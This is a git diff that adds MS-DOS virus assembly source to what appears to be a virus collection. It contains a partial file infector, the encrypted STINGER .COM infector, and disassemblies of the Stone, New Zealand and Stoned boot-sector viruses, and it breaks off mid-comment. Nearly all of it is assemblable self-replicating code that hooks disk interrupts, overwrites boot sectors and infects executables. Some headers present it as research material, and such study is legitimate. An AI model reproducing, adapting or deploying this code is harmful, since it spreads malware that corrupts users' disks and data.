; # of bytes to write + mov dx,NEW_HOST_ENTRYY ;dx = write from here + mov si,dx + + mov WORD PTR [si + 1],bp ;insert new address + call INT_21 + +CLOSE_FILE: + +;*********************** +; Restore Date & time +;*********************** + + pop cx ;restore time + pop dx ;restore date + mov ax,5701h + call INT_21 + +;*********************** +; Klose File +;*********************** + + mov ah,3Eh + call INT_21 + +;*********************** +; Restore Attributes +;*********************** + +RESTORE_ATTRIBUTES: + + mov ax,4301h + pop dx ;ds:dx = pathname to file + pop ds ;restore pathname + pop cx ;restore old attributes + call INT_21 + +;*********************** +; Restore registers +;*********************** + +EXIT_HANDLER: + popf + pop bp + pop di + pop si + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + +QUICK_OUT: db 0EAh ; jmp OFFSET:SEGMENT +END_VIRUS: +REAL_INT_21: + + +ZIZE equ OFFSET END_VIRUS - VIRUS_ENTRY +REALL_INT_21 equ 01E0h + OFFSET REAL_INT_21 - OFFSET VIRUS_ENTRY +HOST_STUBB equ 01E0h + OFFSET HOST_STUB - OFFSET VIRUS_ENTRY +NEW_HOST_ENTRYY equ 01E0h + OFFSET NEW_HOST_ENTRY - OFFSET VIRUS_ENTRY + +END START + + diff --git a/MSDOS/Virus.MSDOS.Unknown.stinger.asm b/MSDOS/Virus.MSDOS.Unknown.stinger.asm new file mode 100644 index 00000000..feb4c35f --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.stinger.asm @@ -0,0 +1,436 @@ +;************************************ +;************** STINGER ************* +;******** (c) 1996 by [TAVC] ******** +;********** -=* RedArc *=- ********** +;************************************ + +Model tiny +.code +.386 + +kode_crypt equ 0 + + ORG 100h +START: + pusha + push ds + push es + push cs + pop ds + push cs + pop es + push di + mov di,offset VIRUS + ret +IDENT db 0ah,0dh,'STINGER',0ah,0dh,'$' +START_LEN equ $-START + int 20h +VIRUS: + jmp Ok_1 +Ok_0: + mov ax,1010h + out 70h,ax + mov al,0feh + out 64h,al + +Flag_Ofs equ $-VIRUS +Flag db 0 +;--------------------- +LOC_2_ equ $-VIRUS +LOC_2: + pop ax + pop cx + inc ax + xchg ax,cx + push cx + push ax + mov ax,LOC_3_ + mov cx, bp + xchg ax,cx + add cx,ax + push cx + db 2eh + pushf + pop ax + sahf + jnb L_2_1 + mov ax,1010h + out 70h,ax + mov al,0feh + out 64h,al +L_2_1: + ret +;------------------------ +HAND_OFS equ $-VIRUS +Handle dw ? +Write_To_File: + mov word ptr [bp+HAND_OFS],bx + mov byte ptr [bp+Flag_Ofs],1 + jmp DECRYPT +My_Loc_1: + mov byte ptr [bp+Flag_Ofs],0 + mov dx,bp + mov cx,VIRLEN + mov bx,word ptr [bp+HAND_OFS] + mov ah,40h + int 21h + mov byte ptr [bp+Flag_Ofs],2 + jmp DECRYPT +;------------------------ +Ok_1: + call VIR_BEG +VIR_BEG_LEN equ $-VIRUS +VIR_BEG: + cli + mov al,0adh + out 64h,al + jmp short $+2 + pop bp + sti + sub bp,VIR_BEG_LEN +DECRYPT: +Code_Ofs equ $-VIRUS + mov ax, kode_crypt + xor cx,cx + cmp ax,cx + jne DC_0 + mov ax, DC_3_ + add ax,bp + push ax + ret +;------------------------------------ +LOC_4_ equ $-VIRUS +LOC_4: + db 2eh + pushf + pop ax + sahf + jnb LOC_4_1 + mov ax,1010h + out 70h,ax + mov al,0feh + out 64h,al +LOC_4_1: + ret +;------------------------ +DC_0: + mov di, CRYPT_END + add di,bp + push ax + mov ax, bp + add ax, M_L_1_ + push ax + mov ax, LOC_4_ + add ax, bp + push ax + ret +M_L_1_ equ $-VIRUS +M_L_1: + pop ax + mov si, CRYPT_START + add si,bp +DC_1: +DC_1_ equ $-VIRUS + mov bx, word ptr cs:[si] + push bp + mov dx, word ptr cs:[si+2] + xchg cx,dx + push si + xchg bx,dx + mov si,di + xor cx,ax + pop di + xchg cx,ax + push si + xchg ax,bx + mov si,di + xchg cx,dx + pop bp + xchg ax,dx + xchg si,bp + xchg bx,dx + mov di,si + xor cx,ax + xchg bp,si + xchg cx,ax + sub bp,di + xchg bx,dx + add bp,si + xchg dx,cx + xchg bp,si + xchg ax,dx + xor bp,si + xchg dx,bx + add bp,di + mov cl,4 + xchg bp,di + mov word ptr cs:[si],bx + pop bp + call LOC_1 + mov word ptr cs:[si+2],dx +DC_2: + inc si + loop DC_2 + cmp si,di + jge DC_3 + mov dx, DC_1_ + mov cx, bp +DC_4: + inc dx + loop DC_4 + push dx + ret +;------------------------ +LOC_1: + push cx + push ax + mov ax,bp + mov cx,LOC_2_ +L_1: + inc ax + loop L_1 + push ax + ret +;------------------------ +LOC_3_ equ $-VIRUS +LOC_3: + pop cx + mov ax,bp + add ax,LOC_3_1_ + push ax + mov ax,bp + add ax,LOC_4_ + push ax + ret +LOC_3_1_ equ $-VIRUS +LOC_3_1: + pop ax + xor ch,ch + jmp LOC_4_1 +;------------------------ +DC_3: +DC_3_ equ $-VIRUS + push ax + mov ah, byte ptr [bp+Flag_Ofs] + cmp ah,1 + pop ax + jnz My_Loc_2 + jmp My_Loc_1 +CRYPT_START equ $-VIRUS +;******************************************************** +My_Loc_2: + + mov ah, byte ptr [bp+Flag_Ofs] + cmp ah,2 + jnz My_Loc_3 + ret +My_Loc_3: + cli + mov al,0aeh + out 64h,al + jmp short $+2 + sti +;------------------------------------------------------- +Restore_Beg: + mov si,P_B_Ofs + mov di,100h + add si,bp + mov cx,START_LEN + rep movsb +SET_DTA_VIRII: + mov ah,1ah + mov dx,bp + add dx,VIRLEN + push dx + int 21h + pop si +FIND_FIRST: + mov dx,bp + add dx,C_M_Ofs + cld + mov ah,4eh + mov cx,0ffh +INTERRUPT: + int 21h + jb Not_File + call Infected + mov ah,4fh + jmp short INTERRUPT +Not_File: + call Command_Com + mov ah,1ah + mov dx,80h + int 21h +;--------------------- +RETURN_TO_PROG: + pop es + pop ds + popa + jmp si +;--------------------- +Infected: + mov dx, si + add dx,1eh + push dx +Clear_Attrib: + mov ax,4301h + xor cx,cx + int 21h +Open_File: + mov ax, 3d02h + int 21h + jb NextFind +Save_Handle: + xchg ax,bx +Read_Beg: + mov ah,3fh + mov dx,bp + add dx,P_B_Ofs + mov cx,START_LEN + int 21h +Check_Ident: + push si + mov si,bp + mov di,si + add si,New_Begin + add di,P_B_Ofs + add si,IDENT_Ofs + add di,IDENT_Ofs + mov cx,12 + rep cmpsb + pop si + je Close_File + jmp short Plague +Close_File: + mov ax,5701h + mov dx, word ptr [si+18h] + mov cx, word ptr [si+16h] + int 21h + mov ah,3eh + int 21h + mov ax,4301h + pop dx + mov cx,word ptr [si+15h] + int 21h + ret +NextFind: + pop dx + ret +Plague: + mov ax,4202h + xor cx,cx + xor dx,dx + push cx + push cx + int 21h + mov word ptr [bp+OldLen],ax + + call New_Code + pusha + call Write_To_File +Ret_From_Write: + popa + mov ax,4200h + pop cx + pop dx + int 21h +Calculate_New_Entry_Point: + mov di,bp + add di,New_Adr_Jump + inc di + mov ax, word ptr [bp+OldLen] + add ax, 100h + mov word ptr [di],ax +WRITE_New_Beg: + mov ah,40h + mov cx,START_LEN + mov dx,bp + add dx,New_Begin + int 21h + jmp Close_File +;--------------------- +Command_Com: + push ds + mov di,bp + mov si,2ch + mov ds,cs:[si] + mov si,0008 + add di, VIRLEN + add di,2ch + mov cx,0040h + rep movsb + sub di,40h + pop ds + mov dx,di + mov ah,4eh + mov cx,0ffh + int 21h + mov di,bp + jb EXITER + mov ah,2fh + int 21h + mov bx,di + add bx,VIRLEN + add bx,0eh + xchg bx,si + call INFECTED +EXITER: + ret +;--------------------- +New_Code: + push ax + push bx + push cx + push di + + mov ax, word ptr [si+1ah] + mov bx, word ptr [si+18h] + mov cx, word ptr [si+16h] + xor bx,cx + cmp bx,cx + jnz N_C_1 + jmp Ok_0_My +N_C_1: + xor ax,bx + mov di,bp + add di,Code_Ofs + mov word ptr [di+1],ax + + pop di + pop cx + pop bx + pop ax + ret +Ok_0_My: + mov ah, 09h + mov dx,bp + add dx,IDENT_Ofs + int 21h + jmp Ok_0 +;--------------------- +P_B_Ofs equ $-VIRUS +PROGRAM_BEG db START_LEN dup (90h) +C_M_Ofs equ $-VIRUS +COM_MASK db '*.COM',0h +E_M_Ofs equ $-VIRUS +OldLen equ $-VIRUS + dw ? +My_START: +New_Begin equ $-VIRUS + pusha + push ds +New_Adr_Jump equ $-VIRUS + mov di,offset VIRUS + push es + push cs + pop ds + push di + push cs + pop es + ret +IDENT_Ofs equ $-My_Start + db 0ah,0dh,'STINGER',0ah,0dh,'$' +;******************************************************** +CRYPT_END equ $-VIRUS +VIRLEN equ $-VIRUS +END START diff --git a/MSDOS/Virus.MSDOS.Unknown.stnd.asm b/MSDOS/Virus.MSDOS.Unknown.stnd.asm new file mode 100644 index 00000000..e28b5cb9 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.stnd.asm @@ -0,0 +1,247 @@ + +PAGE 59,132 + +;栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 +;栩 栩 +;栩 STONE 栩 +;栩 栩 +;栩 Created: 1-Jan-80 栩 +;栩 Passes: 5 Analysis Options on: none 栩 +;栩 栩 +;栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 + +d_0000_004C_e equ 4Ch +d_0000_004E_e equ 4Eh +main_ram_size_ equ 413h +timer_low_ equ 46Ch +d_0000_7C00_e equ 7C00h ;* +d_0000_7C0A_e equ 7C0Ah ;* +d_0000_7C0C_e equ 7C0Ch ;* +d_0000_7C10_e equ 7C10h ;* +data_0000_e equ 0 +data_0008_e equ 8 +data_0009_e equ 9 +data_000A_e equ 0Ah +data_000E_e equ 0Eh +data_0012_e equ 12h +data_03E0_e equ 3E0h ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +stone proc far + +start: +;* jmp far ptr l_07C0_0005 ;* + db 0EAh, 05h, 00h,0C0h, 07h + jmp loc_01C1 + db 00h, 00h, 00h, 00h, 00h, 00h + db 04h, 01h, 00h, 00h, 00h, 7Ch + db 00h, 00h, 1Eh, 50h, 80h,0FCh + db 02h, 72h, 18h, 80h,0FCh, 04h + db 73h, 13h, 80h,0FAh, 00h, 75h + db 0Eh, 33h,0C0h, 8Eh,0D8h,0A0h + db 40h, 04h, 0Ah,0C0h, 75h, 03h + db 0E8h, 07h, 00h + db 58h, 1Fh, 2Eh,0FFh, 2Eh, 0Ah + db 00h + db 53h, 51h, 52h, 06h, 56h, 57h + db 0BEh, 04h, 00h +loc_0145: + mov ax,201h + push cs + pop es + mov bx,200h + mov cx,1 + xor dx,dx ; Zero register + pushf ; Push flags + call dword ptr cs:data_000A_e + jnc loc_0168 ; Jump if carry=0 + xor ax,ax ; Zero register + pushf ; Push flags + call dword ptr cs:data_000A_e + dec si + jnz loc_0145 ; Jump if not zero + jmp short loc_01A5 + db 90h +loc_0168: + xor si,si ; Zero register + mov di,200h + mov ax,es:[si] + cmp ax,es:[di] + jne loc_0182 ; Jump if not equal + mov ax,es:[si+2] + cmp ax,es:[di+2] + jne loc_0182 ; Jump if not equal + jmp short loc_01A5 + db 90h +loc_0182: + mov ax,301h + mov bx,200h + mov cx,3 + mov dx,100h + pushf ; Push flags + call dword ptr cs:data_000A_e + jc loc_01A5 ; Jump if carry Set + mov ax,301h + xor bx,bx ; Zero register + mov cl,1 + xor dx,dx ; Zero register + pushf ; Push flags + call dword ptr cs:data_000A_e +loc_01A5: + pop di + pop si + pop es + pop dx + pop cx + pop bx + retn + +stone endp + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_01AC proc near +loc_01AC: + mov al,cs:[bx] + inc bx + cmp al,0 + jne loc_01B5 ; Jump if not equal + retn +loc_01B5: + push ax + push bx + mov ah,0Eh + mov bh,0 + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + pop bx + pop ax + jmp short loc_01AC +sub_01AC endp + +loc_01C1: + xor ax,ax ; Zero register + mov ds,ax + cli ; Disable interrupts + mov ss,ax + mov sp,7C00h + sti ; Enable interrupts + mov ax,ds:d_0000_004C_e + mov ds:d_0000_7C0A_e,ax + mov ax,ds:d_0000_004E_e + mov ds:d_0000_7C0C_e,ax + mov ax,ds:main_ram_size_ + dec ax + dec ax + mov ds:main_ram_size_,ax + mov cl,6 + shl ax,cl ; Shift w/zeros fill + mov es,ax + mov ds:d_0000_7C10_e,ax + mov ax,16h + mov ds:d_0000_004C_e,ax + mov ds:d_0000_004E_e,es + mov cx,1E0h + push cs + pop ds + xor si,si ; Zero register + mov di,si + cld ; Clear direction + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + jmp dword ptr cs:data_000E_e + mov ax,0 + int 13h ; Disk dl=drive a ah=func 00h + ; reset disk, al=return status + xor ax,ax ; Zero register + mov es,ax + mov ax,201h + mov bx,d_0000_7C00_e + cmp byte ptr cs:data_0008_e,0 + je loc_0226 ; Jump if equal + mov cx,2 + mov dx,80h + int 13h ; Disk dl=drive 0 ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jmp short loc_0266 + db 90h +loc_0226: + mov cx,3 + mov dx,100h + int 13h ; Disk dl=drive a ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jc loc_0266 ; Jump if carry Set + test byte ptr es:timer_low_,7 + jnz loc_023E ; Jump if not zero + mov bx,1B2h + call sub_01AC +loc_023E: + push cs + pop es + mov ax,201h + mov bx,200h + mov cx,1 + mov dx,80h + int 13h ; Disk dl=drive 0 ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jc loc_0266 ; Jump if carry Set + push cs + pop ds + mov si,200h + mov di,data_0000_e + mov ax,[si] + cmp ax,[di] + jne loc_0277 ; Jump if not equal + mov ax,[si+2] + cmp ax,[di+2] + jne loc_0277 ; Jump if not equal +loc_0266: + mov byte ptr cs:data_0008_e,0 + mov byte ptr cs:data_0009_e,0 + jmp dword ptr cs:data_0012_e +loc_0277: + mov byte ptr cs:data_0008_e,2 + mov byte ptr cs:data_0009_e,0 + mov ax,301h + mov bx,200h + mov cx,2 + mov dx,80h + int 13h ; Disk dl=drive 0 ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jc loc_0266 ; Jump if carry Set + push cs + pop ds + push cs + pop es + mov si,data_03E0_e + mov di,1E0h + mov cx,0FDE0h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ax,301h + mov bx,data_0000_e + mov cx,1 + mov dx,80h + int 13h ; Disk dl=drive 0 ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jmp short loc_0266 + db 7 + db 'I am Andrew Dice Clay!' + db 07h, 0Dh, 0Ah, 0Ah, 00h + db 'So, BLOW ME....Hey!' + +seg_a ends + + + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.stone.asm b/MSDOS/Virus.MSDOS.Unknown.stone.asm new file mode 100644 index 00000000..7a37d493 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.stone.asm @@ -0,0 +1,283 @@ +; +; IMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM; +; : British Computer Virus Research Centre : +; : 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England : +; : Telephone: Domestic 0273-26105, International +44-273-26105 : +; : : +; : The 'New Zealand' Virus : +; : Disassembled by Joe Hirst, November 1988 : +; : : +; : Copyright (c) Joe Hirst 1988, 1989. : +; : : +; : This listing is only to be made available to virus researchers : +; : or software writers on a need-to-know basis. : +; HMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM< + + ; The virus consists of a boot sector only. The original boot sector + ; is kept at track zero, head one, sector three on a floppy disk, or + ; track zero, head zero, sector two on a hard disk. + + ; The disassembly has been tested by re-assembly using MASM 5.0. + + ; The program requires an origin address of 7C00H, as it is designed + ; to load and run as a boot sector. + +RAM SEGMENT AT 0 + + ; System data + + ORG 4CH +BW004C DW ? ; Interrupt 19 (13H) offset +BW004E DW ? ; Interrupt 19 (13H) segment + ORG 413H +BW0413 DW ? ; Total RAM size + ORG 440H +BB0440 DB ? ; Motor timeout counter + ORG 46CH +BB046C DB ? ; System clock + + ORG 7C0AH +I13_OF DW ? +I13_SG DW ? +HICOOF DW ? +HICOSG DW ? ; High core segment + +RAM ENDS + +CODE SEGMENT BYTE PUBLIC 'CODE' + ASSUME CS:CODE,DS:RAM + +START: DB 0EAH ; Far jump to next byte + DW BP0010, 07C0H + +BP0010: JMP BP0110 + +DRIVEN DB 0 ; Drive number (A=0, B=1, C=2) +DUMMY DB 0 + +; Original Int 13H address + +INT_13 EQU THIS DWORD + DW 0 + DW 0 + +; Branch address in high core + +HIGHCO EQU THIS DWORD + DW BP0120 + DW 0 + +; Boot sector processing address + +BOOTST EQU THIS DWORD + DW 07C00H + DW 0 + +; Interrupt 13H disk I/O routine + +BP0020: PUSH DS + PUSH AX + CMP AH,2 ; Sub-function 2 + JB BP0030 ; Pass on if below + CMP AH,4 ; Sub-function 4 + JNB BP0030 ; Pass on if not below + CMP DL,0 ; Is drive A + JNE BP0030 ; Pass on if not + XOR AX,AX ; \ Segment zero + MOV DS,AX ; / + MOV AL,BB0440 ; Get motor timeout counter + OR AL,AL ; Test for zero + JNE BP0030 ; Branch if not + CALL BP0040 ; Call infection routine +BP0030: POP AX + POP DS + JMP INT_13 ; Pass control to Int 13H + +; Infection routine + +BP0040: PUSH BX + PUSH CX + PUSH DX + PUSH ES + PUSH SI + PUSH DI + MOV SI,4 ; Retry count +BP0050: MOV AX,201H ; Read one sector + PUSH CS ; \ Set ES to CS + POP ES ; / + MOV BX,200H ; Boot sector buffer + MOV CX,1 ; Track zero, sector 1 + XOR DX,DX ; Head zero, drive A + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H + JNB BP0060 ; Branch if no error + XOR AX,AX ; Reset disk sub-system + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H + DEC SI ; Decrement retry count + JNE BP0050 ; Retry + JMP BP0080 ; No more retries + +BP0060: XOR SI,SI ; Start of program + MOV DI,200H ; Boot sector buffer + MOV AX,ES:[SI] ; Get first word + CMP AX,ES:[DI] ; Test if same + JNE BP0070 ; Install if not + MOV AX,ES:[SI+2] ; Get second word + CMP AX,ES:[DI+2] ; Test if same + JNE BP0070 ; Install if not + JMP BP0080 ; Pass on + +BP0070: MOV AX,301H ; Write one sector + MOV BX,200H ; Boot sector buffer + MOV CX,3 ; Track zero, sector 3 + MOV DX,100H ; Head 1, drive A + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H + JB BP0080 ; Branch if error + MOV AX,301H ; Write one sector + XOR BX,BX ; This sector + MOV CL,1 ; Track zero, sector 1 + XOR DX,DX ; Head zero, drive A + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H +BP0080: POP DI + POP SI + POP ES + POP DX + POP CX + POP BX + RET + +; Display message + +BP0090: MOV AL,CS:[BX] ; Get next message byte + INC BX ; Update pointer + CMP AL,0 ; Test for end of message + JNE BP0100 ; Branch to display + RET + +BP0100: PUSH AX + PUSH BX + MOV AH,0EH ; Write TTY mode + MOV BH,0 + INT 10H ; VDU I/O + POP BX + POP AX + JMP SHORT BP0090 ; Process next byte + +; Install in high core + +BP0110: XOR AX,AX ; \ Segment zero + MOV DS,AX ; / + CLI + MOV SS,AX ; \ Set stack to boot sector area + MOV SP,7C00H ; / + STI + MOV AX,BW004C ; Get Int 13H offset + MOV I13_OF,AX ; Store in jump offset + MOV AX,BW004E ; Get Int 13H segment + MOV I13_SG,AX ; Store in jump segment + MOV AX,BW0413 ; Get total RAM size + DEC AX ; \ Subtract 2k + DEC AX ; / + MOV BW0413,AX ; Replace total RAM size + MOV CL,6 ; Bits to move + SHL AX,CL ; Convert to Segment + MOV ES,AX ; Set ES to segment + MOV HICOSG,AX ; Move segment to jump address + MOV AX,OFFSET BP0020 ; Get Int 13H routine address + MOV BW004C,AX ; Set new Int 13H offset + MOV BW004E,ES ; Set new Int 13H segment + MOV CX,OFFSET ENDADR ; Load length of program + PUSH CS ; \ Set DS to CS + POP DS ; / + XOR SI,SI ; \ Set pointers to zero + MOV DI,SI ; / + CLD + REPZ MOVSB ; Copy program to high core + JMP HIGHCO ; Branch to next instruc in high core + +; Continue processing in high core + +BP0120: MOV AX,0 ; Reset disk sub-system + INT 13H ; Disk I/O + XOR AX,AX ; \ Segment zero + MOV ES,AX ; / + ASSUME DS:NOTHING,ES:RAM + MOV AX,201H ; Read one sector + MOV BX,7C00H ; Boot sector buffer address + CMP DRIVEN,0 ; Test drive is A + JE BP0130 ; Branch if yes + MOV CX,2 ; Track zero, sector 2 + MOV DX,80H ; Side zero, drive C + INT 13H ; Disk I/O + JMP BP0150 ; Pass control to boot sector + +; Floppy disk + +BP0130: MOV CX,3 ; Track zero, sector 3 + MOV DX,100H ; Side one, drive A + INT 13H ; Disk I/O + JB BP0150 ; Branch if error + TEST BB046C,7 ; Test low byte of time + JNZ BP0140 ; Branch if not 7 + MOV BX,OFFSET MESSAGE ; Load message address + CALL BP0090 ; Display message +BP0140: PUSH CS ; \ Set ES to CS + POP ES ; / + MOV AX,201H ; Read one sector + MOV BX,200H ; C-disk boot sector buffer + MOV CX,1 ; Track zero, sector 1 + MOV DX,80H ; Side zero, drive C + INT 13H ; Disk I/O + JB BP0150 ; Branch if error + PUSH CS ; \ Set DS to CS + POP DS ; / + MOV SI,200H ; C-disk boot sector buffer + MOV DI,0 ; Start of program + MOV AX,[SI] ; Get first word + CMP AX,[DI] ; Compare to C-disk + JNE BP0160 ; Install on C-disk if different + MOV AX,[SI+2] ; Get second word + CMP AX,[DI+2] ; Compare to C-disk + JNE BP0160 ; Install on C-disk if different +BP0150: MOV DRIVEN,0 ; Drive A + MOV DUMMY,0 + JMP BOOTST ; Pass control to boot sector + +; Install on C-disk + +BP0160: MOV DRIVEN,2 ; Drive C + MOV DUMMY,0 + MOV AX,301H ; Write one sector + MOV BX,200H ; C-disk boot sector buffer + MOV CX,2 ; Track zero, sector 2 + MOV DX,80H ; side zero, drive C + INT 13H ; Disk I/O + JB BP0150 ; Branch if error + PUSH CS ; \ Set DS to CS + POP DS ; / + PUSH CS ; \ Set ES to CS + POP ES ; / + MOV SI,OFFSET ENDADR+200H ; Target offset + MOV DI,OFFSET ENDADR ; Source offset + MOV CX,OFFSET ENDADR-400H ; Length to move + REPZ MOVSB ; Copy C-disk boot sector + MOV AX,301H ; Write one sector + MOV BX,0 ; Write this sector + MOV CX,1 ; Track zero, sector 1 + MOV DX,80H ; Side zero, drive C + INT 13H ; Disk I/O + JMP SHORT BP0150 ; Pass control to boot sector + +MESSAGE DB 7, 'Old DICKs don't work!', 7, 0DH, 0AH, 0AH, 0 + DB 'Neither does your computer' + +ENDADR EQU $-1 + +CODE ENDS + + END START + + diff --git a/MSDOS/Virus.MSDOS.Unknown.stoned.asm b/MSDOS/Virus.MSDOS.Unknown.stoned.asm new file mode 100644 index 00000000..fa00ce31 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.stoned.asm @@ -0,0 +1,533 @@ +TITLE STONBOOT 1-4-80 [5-12-90] + +PAGE 27,132 + +;***************************************************************************** +; +; *** NOT FOR GENERAL DISTRIBUTION *** The Stoned Virus +; +; This file is for the purpose of virus study only! It should not be passed +; around among the general public. It will be very useful for learning +; how viruses work and propagate. But anybody with access to an assembler +; can turn it into a working virus and anybody with a bit of assembly coding +; experience can turn it into a far more malevolent program than it already +; is. Keep this code in reasonable hands! +; +; This is a boot sector virus, and an extremely tiny one. It occupies only a +; single sector. On a diskette, it resides in the boot sector, and on a hard +; disk resides in the mastor boot record. It can be installed on a 5 1/4 inch +; diskette by copying the real boot sector to side 1, track 0, sector 3. This +; is the last sector used by the directory, and is usually not used. If the +; directory ever does expand into this area, then the real boot sector will be +; trashed, and the diskette will no longer be bootable. Once the boot sector +; is copied to the directory area, this code goes into the boot sector space +; at side 0, track 0, sector 1. The system is then transferred to the diskette +; and the diskette contains an activated virus. Once this diskette is used to +; boot up a system, it will become resident and infect other diskettes it +; sees. If the system contains a hard drive, it too will become infected. +; +; This virus does not contain any time bomb, but it can cause loss of data by +; wrecking a directory here or there. +;***************************************************************************** + + +LF EQU 0AH +CR EQU 0DH + +XSEG SEGMENT AT 07C0h + ORG 5 +NEWSEG LABEL FAR +XSEG ENDS + +CODE SEGMENT + ASSUME DS:CODE, SS:CODE, CS:CODE, ES:CODE + ORG 0 + + +;***************************************************************************** +; Execution begins here as a boot record. This means that its location and +; CS:IP will be 0000:7C00. The following two JMP instructions accomplish only +; a change in CS:IP so that CS is 07C0. The following two JMPs, and the +; segment definition of XSEG above are best not tampered with. +;***************************************************************************** + + + JMP FAR PTR NEWSEG ;This is exactly 5 bytes long. Don't change it + +;The above line will jump to here, with a CS of 07C0 and an IP of 5 + + JMP JPBOOT ;Jump here at boot up time + + +;***************************************************************************** +; The following offsets: +; D_TYPE +; O_13_O +; O_13_S +; J_AD_O +; J_AD_S +; BT_ADD +; will be used to access their corresponding variables throughout the code. +; They will vary in different parts of the code, since the code relocates +; itself and the values in the segment registers will change. The actual +; variables are defined with a leading underscore, and should not be used. As +; the segment registers, and the offsets used to access them, change in the +; code, the offsets will be redefined with "=" operators. At each point, the +; particular segment register override needed to access the variables will be +; given. +; +; In this area, the variables should be accessed with the CS: segment override. +;****************************************************************************** + +D_TYPE = $ ;The type of disk we are booting from +_D_TYPE DB 0 + +OLD_13 EQU $ +O_13_O = $ ;Old INT 13 vector offset +_O_13_O DW ? + +O_13_S = $ ;Old INT 13 vector segment +_O_13_S DW ? + +JMP_ADR EQU $ +J_AD_O = $ ;Offset of the jump to relocated code +_J_AD_O DW OFFSET HI_JMP + +J_AD_S = $ ;Segment of the jump to the relocated code +_J_AD_S DW ? + + +BT_ADD = $ ;Fixed address 0:7C00. Jump addr to boot sector +_BT_ADD DW 7C00h ;Boot address segment + DW 0000h ;Boot address offset + + + +;********************************************************** +; The INT 13H vector gets hooked to here +;********************************************************** + +NEW_13: PUSH DS + PUSH AX + CMP AH,2 + JB REAL13 ;Restore regs & do real INT 13H + + CMP AH,4 + JNB REAL13 ;Restore regs & do real INT 13H + +;***************************************************************** +; We only get here for service 2 or 3 - Disk read or write +;***************************************************************** + + OR DL,DL + JNZ REAL13 ;Restore regs & do real INT 13H + +;***************************************************************** +; And we only get here if it's happening to drive A: +;***************************************************************** + + XOR AX,AX + MOV DS,AX + MOV AL,DS:43FH + TEST AL,1 ;Check to see if drive motor is on + JNZ REAL13 ;Restore regs & do real INT 13H + +;****************************************************************** +; We only get here if the drive motor is on. +;****************************************************************** + + CALL INFECT ;Try to infect the disk + +;****************************************************************** +; Restore regs & do real INT 13H +;****************************************************************** + +REAL13: POP AX + POP DS + JMP DWORD PTR CS:OLD_13 + + + +;************************************************************** +;*** See if we can infect the disk *** +;************************************************************** + +INFECT PROC NEAR + + PUSH BX + PUSH CX + PUSH DX + PUSH ES + PUSH SI + PUSH DI + MOV SI,4 ;We'll try up to 4 times to read it + +;*************************************************************** +; Loop to try reading disk sector +;*************************************************************** + +RDLOOP: MOV AX,201H ;Read one sector... + PUSH CS + POP ES + MOV BX,200H ;...into a space at the end of the code + XOR CX,CX + MOV DX,CX ;Side 0, drive A + INC CX ;Track 0, sector 1 + PUSHF + CALL DWORD PTR CS:OLD_13 ;Do the old INT 13 + + JNB RD_OK ;Disk read was OK + + XOR AX,AX + PUSHF + CALL DWORD PTR CS:OLD_13 ;Reset disk + + DEC SI ;Bump the counter + JNZ RDLOOP ;Loop to try reading disk sector + JMP SHORT QUIT ;Close up and return if all 4 tries failed + + NOP + +;****************************************************************************** +; Here if disk read was OK. We got the boot sector. But is it already infected? +; Find out by comparing the first 4 bytes of the boot sector to the first 4 +; bytes of this code. If they don't match exactly, infect the diskette. +;****************************************************************************** + +RD_OK: XOR SI,SI + MOV DI,200H + CLD + PUSH CS + POP DS + LODSW + CMP AX,[DI] + JNZ HIDEIT ;Hide floppy boot sector in directory + + LODSW + CMP AX,[DI+2] + JZ QUIT ;Close up and return + +;************************************************************ +; Infect - Hide floppy boot sector in directory +;************************************************************ + +HIDEIT: MOV AX,301H ;Write 1 sector + MOV BX,200H ;From the space at the end of this code + MOV CL,3 ;To sector 3 + MOV DH,1 ;Side 1 + PUSHF + CALL DWORD PTR CS:OLD_13 ;Do the old INT 14 + JB QUIT ;Close up and return if failed + +;****************************************************************** +; If write was sucessful, write this code to the boot sector area +;****************************************************************** + + MOV AX,301H ;Write 1 sector ... + XOR BX,BX ;...of this very code... + MOV CL,1 ;...to sector 1... + XOR DX,DX ;...of Side 0, drive A + PUSHF + CALL DWORD PTR CS:OLD_13 ;Do an old INT 13 + +; ***NOTE*** no test has been done for a sucessful write. + +;*************************************************************** +; Close up and return +;*************************************************************** + +QUIT: POP DI + POP SI + POP ES + POP DX + POP CX + POP BX + RET + +INFECT ENDP + + + + + +;**************************************************************** +;*** Jump here at boot up time +;**************************************************************** + + + + +;***************************************************************************** +; Redefine the variable offsets. The code here executes in the memory area +; used by the normal boot sector. The variable 